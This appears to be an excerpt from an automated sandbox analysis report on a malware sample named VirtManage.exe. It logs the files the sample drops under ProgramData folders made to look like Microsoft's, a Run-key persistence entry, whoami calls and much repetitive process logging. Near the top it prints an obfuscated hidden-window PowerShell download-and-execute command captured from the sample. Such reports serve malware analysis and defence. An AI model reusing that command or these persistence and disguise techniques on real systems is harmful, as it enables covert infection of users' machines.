Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:zX 'Net.WebClient';Set-Variable G8E $('C:\Pro'+'gramDat'+'a\Micro'+'soft\Update'+'Desktop\eep6d'+'i0uGu.t');dir rid*;Set-Variable kAl (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'G*d'}).Name).Invoke($ExecutionContext.InvokeCommand.GetCommandName('N*-O*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(GI Variable:\zX).Value);Set-Item Variable:/75 ((((DIR Variable:\kAl).Value|Member)|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'D*g'}).Name);$ExecutionContext|ForEach{(Get-Item Variable:/_).Value.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'*ke*pt'}).Name).Invoke((DIR Variable:\kAl).Value.((GV 75 -Va)).Invoke((ChildItem Variable:/G8E).Value))}"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jvshszob.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jvshszob.cmdline"
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004014F0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,1_2_004014F0
Source: libgcrypt-20.dll.0.drStatic PE information: section name: /4
Source: libgpg-error-0.dll.0.drStatic PE information: section name: /4
Source: libnpth-0.dll.0.drStatic PE information: section name: /4
Source: libsqlite3-0.dll.0.drStatic PE information: section name: /4
Source: zlib1.dll.0.drStatic PE information: section name: /4
Source: gpg-agent.exe.0.drStatic PE information: section name: /4
Source: gpg.exe.0.drStatic PE information: section name: /4
Source: libassuan-9.dll.0.drStatic PE information: section name: /4
Source: winapi.exe.0.drStatic PE information: section name: fothk
Source: aclui.dll.0.drStatic PE information: section name: .xdata
Source: aclui.dll.0.drStatic PE information: section name: /4
Source: aclui.dll.0.drStatic PE information: section name: /19
Source: aclui.dll.0.drStatic PE information: section name: /31
Source: aclui.dll.0.drStatic PE information: section name: /45
Source: aclui.dll.0.drStatic PE information: section name: /57
Source: aclui.dll.0.drStatic PE information: section name: /70
Source: aclui.dll.0.drStatic PE information: section name: /81
Source: aclui.dll.0.drStatic PE information: section name: /97
Source: aclui.dll.0.drStatic PE information: section name: /113
Source: aclui-2.dll.16.drStatic PE information: section name: .xdata
Source: aclui-2.dll.16.drStatic PE information: section name: /4
Source: aclui-2.dll.16.drStatic PE information: section name: /19
Source: aclui-2.dll.16.drStatic PE information: section name: /31
Source: aclui-2.dll.16.drStatic PE information: section name: /45
Source: aclui-2.dll.16.drStatic PE information: section name: /57
Source: aclui-2.dll.16.drStatic PE information: section name: /70
Source: aclui-2.dll.16.drStatic PE information: section name: /81
Source: aclui-2.dll.16.drStatic PE information: section name: /97
Source: aclui-2.dll.16.drStatic PE information: section name: /113
Source: aclui.dll.16.drStatic PE information: section name: .xdata
Source: aclui.dll.16.drStatic PE information: section name: /4
Source: aclui.dll.16.drStatic PE information: section name: /19
Source: aclui.dll.16.drStatic PE information: section name: /31
Source: aclui.dll.16.drStatic PE information: section name: /45
Source: aclui.dll.16.drStatic PE information: section name: /57
Source: aclui.dll.16.drStatic PE information: section name: /70
Source: aclui.dll.16.drStatic PE information: section name: /81
Source: aclui.dll.16.drStatic PE information: section name: /97
Source: aclui.dll.16.drStatic PE information: section name: /113
Source: winapi.exe.16.drStatic PE information: section name: fothk
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_630A01F2 push 41100E0Ah; ret 1_2_630A023C
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_6309A1F0 push ds; ret 1_2_6309A1F8
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_6309FA9C push 41140E0Ah; ret 1_2_6309FAAA
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg-agent.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libassuan-9.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libgcrypt-20.dllJump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libnpth-0.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libsqlite3-0.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\Users\user\AppData\Local\Temp\nsm8D5D.tmp\nsExec.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\UpdateDesktop\aclui.dllJump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\jvshszob.dllJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBD74.tmpJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libgpg-error-0.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\zlib1.dllJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Local\Temp\MSIBE11.tmpJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\aclui.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\Users\user\AppData\Local\Temp\nsm8D5D.tmp\nsis7z.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\aclui-2.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg-agent.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libassuan-9.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libgcrypt-20.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libnpth-0.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libsqlite3-0.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\UpdateDesktop\aclui.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\libgpg-error-0.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\zlib1.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\aclui.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\aclui-2.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeFile created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeJump to dropped file

Boot Survival

barindex
Uses whoami command line tool to query computer and username
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Users\user\Desktop\VirtManage.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run UpdateOleviewJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run UpdateOleviewJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demand

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
